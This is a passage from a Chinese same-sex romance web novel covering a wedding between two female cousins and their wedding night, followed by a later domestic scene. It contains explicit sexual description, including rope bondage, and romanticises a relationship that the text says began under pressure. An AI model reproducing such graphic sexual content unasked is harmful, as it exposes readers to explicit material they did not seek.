楚晚棠出嫁的宅子在另一头,那是池景明买的聘礼之一,他妻子从前很喜欢这孩子,时常带到府里,他也教过她几年书,对她的聪慧很是满意,算是看着她长大的,如今她要嫁与自己女儿,也算是从外甥女变作第二个女儿了,大女儿有的,她自然也不会少。 因此,池景明买了两套宅子,一套在池厢月名下,一套在楚晚棠名下,若两人哪日吵架了,还能分家呢,谁都有个去处。 池景明乐呵呵想。 女子成亲的事少,场面也十分罕见,因此池府门外围了许多看热闹的百姓,池厢月满头珠翠,还戴着一只沉甸甸赤金的凤冠,骑在高头大马上,身形竟十分稳固。 宋渝归拉着妻子跟在车队后头看热闹。 楚晚棠是被许多下人簇拥着出来的,金色流苏挡住了她如花似玉的娇美脸庞。 池厢月翻身下马,紧张的薄唇紧抿,手指也在袖间攥紧。 本只需站在轿子旁的人不自觉迎到门口,“表妹……” 她有些失神,虽日日与表妹在一处,但她从未见过表妹穿华丽的婚服,如此艳光四射,明艳照人,面上的金色流苏半遮半掩,更吸引人眼球。 楚攸宁养好了脸上的伤,忍着身体一看见池厢月就想往后跑的反应,站在旁边等候背楚晚棠出阁。 然而,楚晚棠用如水的眸子看了池厢月一眼,声音轻细温柔,“表姐,你抱着我进轿子好不好?” 池厢月一愣,更加紧张了,“啊,这,这合适吗……” 不太合适吧…… 岳父特意把楚攸宁送过来,就是为了让娘家人送楚晚棠出嫁,可棠棠不愿意他送。 池厢月没因一个讨人厌的外人犹豫太久,低头将仙姿玉貌的新娘子打横抱起,周围顿时响起一片惊呼声与善意的哄笑声,楚攸宁愣在原地,脸倏地红了,只觉得自己在此处碍眼极了,偏又不敢闹婚,站在那眼睁睁看着池厢月将楚晚棠送进花轿里,他才气的扭身走了。 她们俩倒是去了池府,但他还要留在楚府帮忙料理宾客,越想越气! 迎亲车队往回走,宋渝归与沈惜枝也往回走。 小姑娘满脸艳羡,“楚姑娘今日穿的好生漂亮!” “你喜欢?喜欢的话我也请人帮你做一身嫁衣成不。” 她与惜枝没有成婚过,只惜枝和原主那一场。 但以原主的性子,定不是什么美好的回忆。 沈惜枝摇摇头,靠在妻子肩膀上与她腻乎的厉害。 “不用了不用了~嫁衣很费银子的,我已嫁给妻君了,所有人都知道,何需再买嫁衣,只是觉着好看,我多看两眼也就是了。” 虽然当初嫁给那个不好的妻君,只穿了一身红衣裳,她没穿过嫁衣,但她也并没有什么执念。 这些仪式都是死的,只有人是活的,以后的日子是真的。 “等有钱了我一定给你买。” 沈惜枝虽没有执念,宋渝归却有一些的,她没见过惜枝穿嫁衣的样子。 “哎呀,你怎又要花钱。” 小姑娘鼓囊着一张小脸不满,家里的东西样样是村里其他人家都没有的好东西,她的妻君就会乱花钱,嫁衣那种东西只能穿一次,老贵老贵,何必费那个银子。 “现在不买嘛,等以后我们有很多钱了我再买,我一定给你买最最漂亮的嫁衣。” 很多钱啊……那得等到猴年马月呢。 罢了,只要不是立刻买就成。 她们也才攒了二百两左右,她曾见过,好的嫁衣可动辄就是五十两银呢,家里的银钱经不起嚯嚯了。 “嗯,没事,我不急的,妻君一会儿可要去闹洞房?” 她不动声色转移话题,免得妻君越发想要买嫁衣了。 宋渝归对妻子不设防,轻易被转移了注意力,挑了挑眉,却摇头,“那我可不去,我最讨厌闹洞房了。” 闹洞房不就与现代的闹伴娘一个意思? 糟粕,糟粕啊! 她做不来这种事,旁人若敢做,怕也是要被惜枝打一顿的。 听她说不闹,沈惜枝眉眼弯弯,“嗯,那我们吃饭就好了。” 池家办婚事,厨子自然请的都是名厨,菜品味道十分不错。 池厢月本还想让惜枝去掌勺,但宋渝归觉得给那么多人做饭怪累的,她不想惜枝辛苦,便拒绝了。 池厢月一想也是,新婚日她又吃不上几口饭,惜枝去了光给别人做饭了,也就没再提。 两人在池家喜宴上吃了个肚子圆滚。 李大娘也受邀前来,她只给了几十文的礼金,却不想吃食如此丰盛,山珍海味应有尽有,大多都是她没见过的好东西,回去的路上一直觉得良心不安。 一会儿是早知道不来了,一会儿是早知道多包一点钱了,还暗暗问沈惜枝礼金能不能后补。 沈惜枝:…… “池姑娘不是在意那点金银之人,她定是将大娘看作很好的长辈,才会邀大娘参加婚宴,她知道大娘家里的情况,不会想多要礼金的,您就放宽心吧。” 李大娘还是木着脸,觉得自己太欺负人家老实孩子了,但好歹没有再念叨着要偷偷往池家扔铜板的事。 第82章 新婚夜(修改版) 三人到小土坡上头才互相分别,各回各家,宋渝归与沈惜枝略有些疲惫的躺在床上,今日她们虽只是看客,但因着与两人关系不错,帮着弄了很多,又跟着跑去看热闹,身体早就累了,一躺下便困意袭来,宋渝归昏昏欲睡,沈惜枝靠在她的肩上,同样困的睁不开眼皮。 “妻君,我们睡觉吗?” 按理说该先沐浴的,可是天儿太冷啦,她又好累好困,不想洗了。 小脸埋在妻子怀里,软软绵绵的蹭了蹭,这般撒娇模样,宋渝归一下就知道她的意思了,将人抱在怀里温声哄了哄。 “嗯,你饿不饿,要是吃饱了我们就洗个脚先睡觉。” 现在是冬日,天气那般寒冷,不必每日沐浴也成,但脚还是要洗一下的。 沈惜枝漆黑的双眸闪着晶亮光芒,用力点头,“嗯!我不饿的,早就吃饱了,池姑娘家的厨子做饭也很好吃。” 她有些不明白,明明有那么好的厨子,能做出那些山珍海味来,怎还会喜欢她做的清粥小菜呀。 “好。” 宋渝归听了她答应,便去厨房烧热水了。 不一会儿传来热水沸腾的声音,她在里头兑了些凉水,装在木盆里端进屋,沈惜枝早已脱了鞋袜,一双雪白玉足在床前晃悠,俏生生勾着脚尖。 宋渝归承认,她这人色心很重,觉得媳妇儿从头到尾哪哪儿都好看,小脚也好看,根根脚趾圆润粉嫩,脚背雪白,透着淡淡的青筋,足踝很细,平日里惜枝受不住要跑,她伸手一下就给拽住了,再轻轻一拖,人便回到她身下,乖乖的任由她作为。 咳,想远了。 宋渝归心虚低头,再不敢看媳妇儿单纯的脸色,便将木盆放到她面前,哄她,“你洗一洗吧,去去乏。” “哦,好。” 里面的温度都是她用手试过的,并不烫人,可小姑娘皮肤嫩,她这一年来被养的极好,浑身冰肌玉骨,嫩的不得了,小脚刚放进去就被烫的一缩,“呀。” 可爱! 宋渝归笑眯眯的,也脱了鞋子把脚放进去,她倒没有觉得很烫,哄着人把脚放下来烫一烫,烫一烫才舒坦。 沈惜枝摇头不肯,小脚落在妻子脚背上,只小心翼翼用脚后跟或者脚尖触碰热水,总不肯整个踩下去,怕烫,小猫儿似的。 宋渝归故意假装要抬脚踩她的脚,吓得她立马把脚收起来了,一双鹿眼可怜兮兮的望着她,不许她踩。 嘿嘿,真可爱,我老婆真好玩。 小媳妇儿被摸了两下脸颊,声音愈发温软,“现在都不烫了,你下脚试试?真的不烫了。” 她百般邀请,沈惜枝才小心翼翼将脚落下去,冬天温度下降的快,现在一踩,果然没有一开始烫了。 沈惜枝眉眼这才舒展起来,欢快的在妻子脚上搓了搓。 宋渝归觉得有意思,又逗她,“你搓你自己的就行,搓我的干嘛?” “哼,我就要搓你的。” 木盆不小,但于她们而言也是脚尖对着脚尖,她非要去搓宋渝归,宋渝归都没地方跑,只能也跟着去搓她的。 两人泡到水都微微凉了,她才从一边捡起一块提前放好的布擦脚,然后爬到床上。 沈惜枝动作快,眨眼间便光溜溜赤条条的躲在被子里了,等宋渝归上床,又利落的滚进她怀里,黑亮眼眸紧紧盯着她,她盯她,她也盯她,不一会儿,怀里娇娇软软的小姑娘便埋怨出声,“你抱我呀。” 她嫌她不动,跟一根呆木头似的。 宋渝归低头轻轻笑了,终于主动揽住媳妇儿,沈惜枝在她怀中娇嗔瞪她,似乎还有些不满她动作慢一般,被人低头温柔亲了亲。 “好了,睡觉,明日还要早起呢,今儿这么累,明天可还要陪我出摊?” 她问,沈惜枝便乖乖点头,“自然要去,我若不去,你一个人该想我了!” 宋渝归又笑了,故意说,“我才不想你呢。” 话音刚落,对方一双圆溜溜,黑白分明的大眼睛瞪过来,她又不敢逗了,立马改了口,依旧是笑意盈盈的,只说,“是啊,你若不来,我一个人卖肉可是会得相思病的,想死你了可怎么办啊。” 这样明显的甜言蜜语,沈惜枝才满意几分,红着小脸道,“所以嘛,我得一直跟着你啊。” 她是不会离开渝归姐姐的。 宋渝归仿佛十分认真的思考了一下,最后用力点头,“嗯,还是小枝儿对我好。” 她声音里的兴味如此明显,沈惜枝一下就知道她在逗她了,蹭在她怀里撒娇般扭了一下,又被人揽住纤细的小腰,揉了两把,这才安稳下来。 明日要早起,她们心照不宣的不再说话,没一会儿屋里响起轻柔的呼吸声。 另一边,于不爱吃山珍海味,只爱吃清粥小菜的两妻妻而言,夜幕才刚刚开始。 屋内昏暗,池厢月只点了一盏灯,新娘子盖着红盖头,挺直脊背,端正优雅的坐在婚房里。 按理说两人都是女子,不必戴什么红盖头,都女子成婚了,不整那样迂腐,戴个一日能累死人,她也有点舍不得小表妹戴。 结果表妹非要走一遍完整的流程,又是要她抱上花轿,又是三拜天地的,一个人饿着肚子坐在婚房里,非赶她去招待宾客,偏不许喝酒。 哪有招待宾客不喝酒的呀。 池厢月心里哔哔,嘴上却一句异议也不敢提。 乖乖按照安排去了。 好不容易将那些宾客打发了,有几个还是得到消息后特意从京城赶过来的好友,缠的她脑袋都要痛了,非进来看看棠棠穿嫁衣戴凤冠娇羞的样子,荒唐,这般的棠棠也是你们能看的? 退,退,退!不许看,只有我能看。 她才不答应呢。 最终还是将那群人轰出后院,一个人回屋找表妹去了。 屋里不知为何黑漆漆的,也没人伺候,池厢月唤了一声棠棠,得到回应后才安心的点了一盏灯。 方才那一刻她还以为棠棠被人掉包了,屋里的是什么人留下的障眼法呢,果然是话本看多了,思想也变得弯弯曲曲的。 “怎么不点灯?” 她护着摇摇晃晃的灯芯走近问。 楚晚棠轻声细语,“点了也是要熄的,不必如此麻烦了。” 她温柔的表姐都惊了。 自摊牌开始强制爱后,棠棠很少真这样轻声细语同她讲话,骤然听到,她甚至有些受宠若惊。 “点了虽然要熄,但好歹屋里亮堂些,暗暗的有什么意思?” “好,那你点一盏吧,莫要点太多了。” 池厢月:? 她心里疑惑,但是嘴上不说,哦了一声便将点好的蜡烛放到一边,随口询问,“屋里为何没人伺候?” “我让她们都下去了。” “哦……” 池厢月又应了一声,拿起桌子上的如意称,紧紧握着,因屋里没人,只她们两个,紧张的感觉便一阵一阵往上冒,她轻声道,“那我,那我,掀盖头了?” “嗯。” 那声音分明轻轻的,可不知为何就是让人听出一股不同寻常的柔媚来。 池厢月有一瞬感到疑惑,但她心大,很快就没在意了,开始紧张的给人掀盖头。 楚晚棠那张芙蓉面,在京城时都是拔尖儿的,当真极美极美,楚家人还动过把她送进宫的想法,不过后来就不敢想了。 红色的盖头一点点被揭开,露出里头如仙子一般的娇美面庞来,直将人看呆了。 池厢月没控制住咽口水的嘴,狠狠吞了一下。 楚晚棠狭长眼尾轻眨,道,“你把盖头扔了,我们喝完合衾酒,我给你看个好东西。” “什,什么好东西?” 她下意识问。 表妹却但笑不语,只唤她去倒两杯合衾酒来,她也不疑有他,直接去倒酒了,两人一人一杯,挽着手臂喝的。 从头到尾表妹屁股都没挪一下。 喝完了酒,池厢月目光炯炯望去,那眼神分明在问,什么好东西,快给我看看。 楚晚棠低下头,只能看见尖细的下巴,与雪白纤长的脖子,“你就这般着急。” “那你说是好东西嘛,连你都说是好东西了,我自然急。” 表妹手里的好东西可多了,哪一样都能引起她的惊叹,她一听便可想看了。 不对,等一下,不是说好东西吗? 你脱衣服干什么? 谁家好人家的好东西是得脱衣服才能看见的? 池厢月大惊失色。 鲜艳的衣裳一件接一件被脱落,露出雪白无瑕的身子以及……覆在身上的麻绳??? 这什么? 池厢月一点点睁大眼睛,她看见,粗大的麻绳捆绑在女子身上,勒出又大又软的小兔子。 这,这是我能看的吗? 哦,这是我能看的! 我现在是她的妻子,有什么是我不能看的! 池厢月瞪着眼睛看,一眼也不肯错开。 可棠棠只脱了上头的衣服好似就没有力气了,靠在床头,额角冒着薄汗,媚眼如丝。 池厢月默默咽口水,走过去,伸手想摸一下,又不好意思,直到她表妹主动握住她的手,摁在那对又白又软上。 她的眼睛更亮了! 好舒服好喜欢! 这,这…… “要不我帮你脱?” 她见棠棠实在没有力气了,遂提议。 楚晚棠又是不轻不重望她一眼,眼里柔媚之意都要溢出来了,然后缓缓摇头,“不必,你看着就好。” 这是她在表姐招待宾客时自己绑上去的,坐的时间也并不是很长,可已经感觉很难耐了。 她躺在床上,漂亮的衣服相继被脱下…… 纤细雪白的小腿儿处都被磨红了。 原本浅色的麻绳,却正好在那一截有些许浸染过的深色。 小表妹就像含苞待放的花朵一般,坐在床榻上,等待采摘。 那双狭长凤眸,勾人似的望着她。 “表姐~” 池厢月浑身一震义正言辞,“这个时候不要叫我表姐!” 这也太刺激了。 楚晚棠听她不许叫表姐,带着水雾的眼睛继续盈盈望着她,一句话不说,却又好似说了千言万语。 “你,你怎么弄成这样了……” 池厢月不好意思,低下头小脸通红。 楚晚棠勾了勾红唇,温声道,“你不喜欢吗,我看了你的话本特意弄的。” 那是表姐最喜欢的话本,这一幕她都来来回回看过四五遍了,想必是真的很喜欢。 听到自己的话本也给她知道了,池厢月一张俏脸爆红。 怎么,怎么这样,我在表妹面前还有什么秘密可言? “你,你别偷看我话本啊……” “哼,我若不看,又如何知道你每日都在看这些东西,还喜欢……这样呢?” “我若不看,要如何满足你?” 她以为表姐还是同以前一样,虽然答应娶她,但还是羞答答的不敢和她亲热,连正常的为她吮一吮都要推三阻四,谁承想现如今的表姐……爱看的东西都是这样的。 实在叫人大开眼界。 楚晚棠伸出染了凤仙花汁子的白嫩手指,指甲盖透着艳色,朝人勾了勾。 池厢月不由自主走近,一只雪白玉足便踏在她腰上,又慢慢上移到胸口,声音也如妖孽般,问她,“表姐不疼一疼我吗?” 她稍动一动便觉得有些难耐了,额上沁出薄薄的汗珠,眸色乖巧望向她。 池厢月咽了咽口水,“疼,疼的。” 但她不想显得太过急色。 实际上,在看见这一幕时,心里已经很着急了。 很着急的想要…… “那你过来,亲一亲我好不好?” 表妹问这句话时,神色看着极为单纯,单纯两个字现在在池厢月眼里已经和她表妹扯不上关系了,但每每看见她如此,还是会禁不住心神荡漾一番。 她抿唇依到床榻上,表妹漂亮的小脚在她身上划来划去,被她一手攥住。 “别,别动了。” 我都看不清了。 那双眼睛目光炯炯,却是只盯着小花看。 漂亮,小表妹这处最是生嫩了,永远粉粉的,只是今日似乎被桎梏久了,颜色有些红,还很,很多亮晶晶。 “你要摸一摸吗?” 楚晚棠哑着声音,挺起纤细小腰,想把那处送到她手上。 她也下意识伸手去摸…… 她食指曲起,轻轻在那处划拉,屋里便响起女子娇娇的声音。 屋外刮着呼啸冷风,乌云遮蔽了明月,不知什么时候飘飘洒洒下起雪来了,下过雪的天分明愈加寒冷,只是屋里的两人感受不到,她们甚至有些热。 “啊,别拧……” 屋里透出来的声音又柔又媚,幸好楚晚棠提前叫所有人都退出去了,否则非被人听见不可。 “为什么不能拧,你前面都拿绳子抵在这里的,这样不难受吗?” 难受,但是想到你会喜欢,就不难受了。 她虽然表面很强势,什么都不怕的样子逼着表姐与她在一起,但实际上,她哪能不担心呢,担心表姐对她毫无爱意,只是心疼她舍不得她伤心难过,只是被逼无奈,才必须娶她。 但凡表姐有一分是出于不情愿,她知晓了都是会难过的。 小表妹不说话,只是安静的望着她。 表姐也舍不得太用力拧她,因此将麻绳拨去一边,拧了一次便不再拧了。 棠棠的身子素来敏感些,也不知是怎么撑过来的。 池厢月有些心疼,又混着淡淡的欣喜。 还是表妹懂我。 她心疼棠棠,这种东西不敢用在棠棠身上,可棠棠看出她喜欢,自己用上了。 棠棠待我真好。 池厢月满心感动,将小表妹抱在怀里,脸撒娇似的埋在大白兔上蹭了又蹭。 楚晚棠纤纤如玉的手指落在表姐身上,轻轻抚摸,声音温柔婉转,“表姐不必心疼我,为了表姐,我都是愿意的。” 每每被她唤表姐,身上总不由自主的抖一抖,酸涩的感觉传遍了每一片神经。 她不想让表妹在床上唤她表姐,偏偏表妹又不听她的。 榻上的人顿时呼吸顿住,好一会儿才恢复过来,变得有些粗重。 “额表姐” 表姐不语,低着头,长睫弯了弯,眼里透出难以遮掩的兴致勃勃。 她柔软极了。 好喜欢。 毕竟真去碰,可比话本里描写的有意思多了。 她心想着。 房间里传来断断续续的呜咽声,等到一切终于停歇的时候,明月隐退,晨阳已经渐渐升起了。 楚晚棠再没力气动一根手指。 身上的麻绳被池厢月拿剪子剪去了。 寒夜天冷,楚晚棠硬是被弄出一身的汗。 此时结束了也只是哑着声音倒在妻子怀里,“我想沐浴……” 池厢月也累了,她身体倒是不累,但手酸,手要断掉了。 闻言垂眸,见小表妹闭着眼睛乖乖靠在她怀里,她小声道,“啊,沐浴,你现在还有力气沐浴吗?” “嗯,没有力气了,所以表姐帮我洗。” 池厢月:…… 我谢谢你,她心想,嘴上不敢说一个字,吃饱喝足后餍足点头, “嗯,我去让人烧水。” 比起表妹浑身干净,她的衣物甚至算得上整洁,只是前头让表妹坐在她怀里,晕深了一小块位置。 池厢月小心的理了理衣裳,将那块深色遮住了。 其实夜色浓重,旁人也注意不到这个地方,但她心里有鬼,因此格外小心谨慎。 院子外面站着守夜的侍女,她唤了侍女去烧水,自己则回去陪着表妹收拾一下。 屋里虽进出来往的都是女子,但她们是磨镜,还是应该注意些。 小表妹穿着一身极薄纱衣,只是勉强遮住了玲珑身形,躺在表姐怀里,表姐揽着人,手掌安抚哄人般在她背后摩挲,偶尔亲一亲她。 “嗯……表姐。” 她声音温软极了,特别讨人喜欢。 “嗯,你要是困了就先睡,等会儿我抱你去洗。” “不要,我要和表姐一起睡。” 许是太累又太困,表妹身上的矜持高傲,优雅端方消失不见,像一只懒洋洋爱撒娇的小猫儿,可爱。 池厢月捏了捏大白兔,温声哄,“好,我们一起睡。” 表妹嘟嘟囔囔应了一身,翻过身将小脸埋在表姐小腹里,拿脑袋去顶她,还是困困的。 不一会儿,热水烧好了,侍女陆续搬着水进来,待木桶里的水蓄好了,池厢月便一把抱起自家表妹,小心翼翼的抱到木桶上,用她屁股尖探了探水温。 怀里女子没有防备,立马挺了挺腰,小声委屈道,“烫,烫的。” 池厢月心虚的抱紧老婆,“哦哦,可能她们兑的有点烫了,那我们等一会儿再进去。” 小表妹怕烫。 她搂着小表妹,揉了揉棠棠被烫了一下的白嫩屁股尖,将身上的衣服盖在表妹身上,免得她被冻到。 过了会儿,四周寂静无声,表妹也安静伏在她怀里,她才又将人抱起来,用往下垂的白玉小脚去探那水温,轻咳一声,认真问,“还烫不烫?” 小表妹乖乖摇头,“不烫了。” “嗯。” 这才把人放进去。 楚晚棠一进去便游到另一边,给表姐留出大半位置,池厢月再脱了衣服进去,经过方才烫屁股的一遭,她现在已经感觉不那么困了,见表姐下来,立马往表姐身边游去,下巴搭在表姐肩膀上,“你帮我洗,我不想动,好累。” 池厢月疑惑:“你什么时候动过,不是一直是我在动吗,你有什么好累的,我才累呢。” 她到现在还感觉很酸,怎还要她洗了。 楚晚棠却又不依,“我不管,就要表姐洗,表姐~” 她声音软软糯糯的撒着娇,池厢月只拒绝了一回,就又从了,“好嘛好嘛,我给你洗就是了,你真是……太爱撒娇了些。” 渝归之前说过惜枝很会撒娇,可她现在觉得,棠棠一定比惜枝更会撒娇。 棠棠可爱,棠棠最可爱。 “嗯,表姐对我好我才敢撒娇。” 她一边说,一边抱紧了自家表姐。 池厢月的手从人纤细的腰间滑落,落在水中,分开饱满绵软的两瓣,细细搓洗。 力道不轻不重,可对于刚平息完,仍旧敏感的小姑娘来说,还是太过了些,她伏在人肩上又是哼哼唧唧一阵,一双漂亮的眼睛氤氲水花。 任谁看了都会说一句,好漂亮的小姑娘。 池厢月将人里里外外像一张大饼似的翻来覆去洗干净了,然后把湿漉漉的美人扛在肩上,带出浴桶,又拿了巾子将人身上的水珠擦洗干净,然后抱到外头哄她坐在桌子长,坐的里面一点,带着水汽的娇嫩玉足便碰不到地了,只在半空中晃悠晃悠。 池厢月安放好她,才去了暗处随手一翻,翻出一盒药膏来。 表妹肌肤娇嫩,受不得重力的,眼下被那绳子勒了好一会儿,有些地方早已青紫了,不揉一揉药怕是要难受的。 仔仔细细给人每一处白嫩肌肤都揉过药后,两人才上了榻。 刚刚有些精神,现在一沾到柔软的床铺,真的瞬间眼皮子就睁不开了。 池厢月含含糊糊,“睡了,这次真的要睡了。” 原先湿透的床单被侍女拿出去换了干净的,现在的松软又舒适,被子一盖,暖意便冲两人袭来。 楚晚棠轻轻一滚,滚进表姐怀里,主动抬头吻了吻表姐的嘴角,然后身子往下钻,直到脑袋贴着那胸口处,才安稳睡下。 池厢月也被迫穿不得衣服,两人肉贴着肉,实在有些不适应。 “一,一定要这么睡吗?” 小表妹头也不抬便回,“嗯,这样更暖和。” 表姐的胸口暖洋洋的,让她好生舒服,浑身都被暖意包裹了。 “那好吧……” 听她说更暖和,池厢月便没再说什么,安稳抱着表妹闭眸睡去。 早点睡,再不睡觉,明日该赶不上渝归她们家的午饭了。 第83章 不许在旁人面前说我不好(修改版) 近来回村,路上总能听见哀乐,听闻是临近的李家村死了个屠户,那屠户也是女子,前段时日家里父母接连死去,现在连她也死了,一家人死了个干净,攒下的银钱全归了些亲戚所有。 李大娘来宋渝归家同沈惜枝聊天时便满脸气愤,“那李舒禾一死,她的亲戚便迫不及待上门分钱了,还说李舒禾命硬克亲,过不了好日子,我呸,嫌人家晦气还拿人家的钱!” 李大娘很是可怜了李舒禾一通,可人已经死了,她虽是李家村的人,与李舒禾却不熟,不好为她做什么,只盼她下辈子命好一些,别再病死了。 沈惜枝闻言也十分心疼这女子,家中竟是一个人都没有了。 宋渝归本还在外头劈柴,余光瞥见妻子长睫低垂,神情有些难过,连忙收了斧头进去,坐在她们旁边,“别难过,人各有命,这辈子过得不好下辈子会过得好的。” 她摸摸媳妇儿,将人揽在怀里,温声哄她。 “嗯……只盼她下辈子能有父有母,一辈子幸福安乐。” 宋渝归揉着媳妇儿后脑勺。 李大娘比不得年轻人思想开放,实在看不过眼,只说要给家里两个男人做饭,就走了。 宋渝归见家里没人愈加大胆,仰头就亲上了媳妇儿,轻轻抿住妻子红润的薄唇,细细舔吻,不许她再想起叫人低落的事。 她最近其实也很不安,谁叫这是小说里老婆身死的日子。 她知道她的妻子死在一个冬夜 。 一个临近春节,极尽严寒的冬日,她被村里人赶出来了,天寒地冻,无处可去,只穿一身单薄打满补丁的夏衣,茫然的在村子外游荡,然后冻死在了深夜。 太心疼了。 她许久不曾想起过这个剧情,因为每每想起,便是满心疼惜。 还好我穿过来了,有我护着我媳妇儿,定不会让她出事的,她也可以过很暖和很幸福的冬日了。 去年冬天她刚穿书没多久,不算多有钱,只买了过冬的衣物,连碳火都买不起,过得不冷,但也不暖和。 “趁着家里没人在,给我亲一口?” 再不亲,池姑娘她们可就要回来了。 她凑在人耳边,明明已经亲过了,还要故意问她。 沈惜枝扭扭捏捏,小声道,“你怎么这么喜欢亲呀。” “我喜欢你,当然喜欢亲你了,难道你不喜欢吗?” 她目光炯炯盯着人,仿佛不等到答复不行了,小姑娘这才低头羞怯道,“也,也是喜欢的……” 被妻君亲她也很喜欢的,妻君对她亲近,她最上抱怨,心里总是泛着隐秘的欢喜。 “那就再让我亲一下。” 她前头没亲好,总觉得意犹未尽。 沈惜枝羞红了脸,“你就知道亲亲,有人在也要想那种事。” “嗯,我无耻嘛。” 宋渝归在人耳边哑声道,显然已起了念头,小媳妇儿娇娇依在她怀里,好几日不曾被妻子触碰,她嘴上害羞,心里亦是很想要的。 “妻君~” 声音都透着一股子绵软撒娇,宋渝归心猛的一提,细长手指在人身上轻轻摩挲。 沈惜枝支撑不住自己的身子,只顾勉强出声,“妻君,门,关门!” 渝归姐姐每次都不关门不关门,她,她无耻! 宋渝归抬头看了一眼虚虚掩着的门,快步走过去栓上了,再回来将妻子打横抱到床榻上,一口嘬着大白兔软糖,一边含糊不清道,“池姑娘给我看了一本磨镜话本。” 这等程度,沈惜枝还能勉强保持清醒,闻言疑惑出声,“嗯~什,什么样的话本?” “唔拿根麻绳吊起来那样的。” 沈惜枝:…… “你不要与我说话了!” “哼,你是我媳妇儿,这等念头不与你说我还能与谁说?” 宋渝归知她这是拒绝的意思,但并未严厉拒绝,那就是还有机会! 沈惜枝不说话,本就因情而染上红晕的脸颊愈发晕红了。 好一会儿过后,将上头的水全擦人脚上了。 沈惜枝:…… 又弄这些。 她在人覆过来后毫无威慑力的瞪了她一眼,雪白圆润的脚趾微微蜷起。 “你……” 话没说完,就被人堵住了红润的唇瓣,她一点儿也不怕她,净想着法子欺负她。 直到快用晚饭了,才算停歇下,免得万一女主过来,被一对新婚妻妻看出什么。 小枝儿双眸失神的躺在榻上,任你唤她,她也不说话,她像是迷迷糊糊不甚清醒的样子,当真乖。 宋渝归低头亲了媳妇儿一下,“你收拾一下,一会儿池姑娘她们要来了。” 本以为那两人去了镇上就不会再来蹭饭了,结果她们就成婚那晚去镇上了,后头又搬回来住,天天都来蹭饭。 又被亲过,沈惜枝才恢复了几分神智,眨了眨眼睛,“嗯。” 事后的小枝儿总是极乖巧的,她似乎还是没反应过来,听见妻子吩咐自己,便乖乖的抱着被子坐起来了。 说曹操曹操就到,两人正在收拾呢,池厢月就把门拍的啪啪响,并大声呼喊,“惜枝,渝归,你们在家吗,大白天的怎么关着门?” 宋渝归:…… 都是有媳妇儿的人了,这种问题你们也问的出来? 她十分无语,回都懒得回,外头便响起楚晚棠的声音,轻轻柔柔的,与池厢月这般莽妇不同,她很是明事理,“渝归姑娘关着门,想必是有些事情,许不在家也有可能,你莫叫唤了,不是说想来看看渝归姑娘家的鸡吗?你先看一会儿吧。” 宋渝归家的鸡说是宋渝归家的,其实一直是池厢月在养,喂的都是池厢月从自家拿出来的精米,吃的好着呢。 那些鸡大抵知道她来了就有好吃的,一只接一只围在她脚边,低头啄着石子。 “哦,那我回家拿米去,渝归她们老是忘记喂饭,鸡都要饿着了。” 鸡饿了自己会找小虫子或者吃一点烂菜叶子,但池厢月似乎不知道这件事,见鸡碗干净的要命,连忙回家拿米,连轻功都用上了。 她虽然不在家里吃饭,但池景明偶尔还是要给自己做饭吃的,所以家中米面粮油都有,这也方便了池厢月。 虽然自己这张嘴不在家里,但她带回来了好几张嘴,怎么不算一种孝顺呢? 等宋渝归将里面收拾干净时,池厢月都喂完鸡了,一见着她们,便是眼前一亮,“呀,原来你们在家啊,那你们刚刚怎么不理我?” 宋渝归:…… 到底是什么人能问出这种问题。 楚晚棠在旁边对两人歉意的笑了笑,她显然知道方才她们在里面发生了一些不能宣之于口的事,但表姐是个笨蛋,素来粗心大意,总也学不会细腻一些,但是没关系。 她会陪着表姐,会帮她的。 不等宋渝归想出如何回应,楚晚棠便拉住表姐的手,“表姐不是说要带我去林间摘果子吗?” 两人皆是一愣,紧接着,池厢月脸颊爆红,连带着脖子也未能幸免,宋渝归疑惑,“冬日这般冷,山上也有果子摘吗?” …… 那当然没有,此果子非彼果子,哎,她们不懂,这都是甜蜜的烦恼。 不过现在山上太冷了,她就是昨天提了一嘴而已,哪有立马就要去啊,这么冷,该给小表妹冻着了,这她也是舍不得的。 “不去,这样冷的天有什么好去的,等开春了我们再去山上踏青吧。” 踏青是去山上踏的吗? 那是郊游吧? 不过说起来我还没与惜枝游玩过呢。 现代时她得了空有时会去旅游,反正就是出门看看,看看总是有好处的,但来了古代后倒是一直被圈在这个山村村里。 很少出去走走。 嗯,赚点钱在给惜枝开店之前出去玩一次,也带惜枝换换心情。 沈惜枝是最后一个出来的,被妻子玩过后,她魂儿都走了十万八千里了,好不容易才跑回来,在里面抱着被子坐了许久,隐隐听见外面的交谈声,终于起来穿上干净衣裳。 池厢月见她出来,忙向她用力招手,有几分兴奋望着她,“惜枝,你可算出来了,我们都来好久了,还以为你不在呢。” 沈惜枝茫然看过去,“嗯……是池姑娘啊。” 宋渝归见状,顿时扶额苦笑,连忙过去把人往自己怀里扒拉,这是还没醒啊。 “要不要回去再睡一觉?我来做饭。” 池厢月:…… 我说我要吃你的了吗? 早知是你做,我就不特意跑下来了TVT。 沈惜枝一被熟悉的气味环绕,便禁不住有些双腿发软,手指必须撑着妻子的腰才能站稳,但她仍旧坚强摇头,“你做的饭不好吃,你会吃不饱的。” 池厢月在一边猛猛点头,是呀是呀,我们都会吃不饱的。 宋渝归怒,怎么能在旁人面前揭我的短! 但又因对方是她宠了多时的媳妇儿,再怒也不忍生气,最后只能嘟嘟囔囔说了一句什么。 沈惜枝茫然着没听清,又下意识将耳朵凑过去,却一朝没有防备,被人咬了一口耳朵尖。 有些尖锐的疼,小姑娘委屈的捂着耳朵瞪她,控诉道,“你怎么咬我啊。” 池厢月也看呆了,随后便是一脸没想到你是这种人的样子,愤愤不平,“对啊,你怎么能咬惜枝呢,惜枝做错了什么你好好说啊,咬人干嘛!” 楚晚棠甚是无语,垂下眸子,伸手捂了捂心口,“表姐。” 表姐扭头一看她捂着心口,想起她体弱的毛病,顿时便被吓着了,再顾不上别的,“棠棠你怎么了,可是有哪不舒服?” 楚晚棠低低应了一声,“嗯,你扶我回去先坐一会儿吧,我想休息一下。” “扶什么,我抱你回去,你省着些力气。” 她一边说,一边将人打横抱起,楚晚棠便歪在表姐怀里,朝宋渝归投去歉意的目光。 还是楚姑娘懂事。 见两人都走了,宋渝归扭头揽着媳妇儿,双手握着人肩膀,不高兴,“我哪里做饭就让人吃不饱了?” 沈惜枝见她生气,连忙往她怀里扑,“我没有说你不好的,你不要生我的气。” 刚打算生气的宋渝归一肚子气被冲了个散。 没忍住给人气笑了,将怀里人拉出来一点,见她一双眼睛忐忑又小心翼翼的望着她,再多的气也生不出来,只能狠狠揉了一把毛茸茸的脑袋,道,“不许在旁人面前说我不好。” 惜枝不喜欢她在别人面前说她她也不喜欢。 